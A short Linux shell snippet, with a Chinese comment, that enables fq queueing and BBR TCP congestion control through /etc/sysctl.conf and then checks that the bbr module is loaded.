echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf
echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf
sysctl -p
sysctl net.ipv4.tcp_available_congestion_control
# 查看是否成功,出现tcp_bbr则成功
lsmod | grep bbr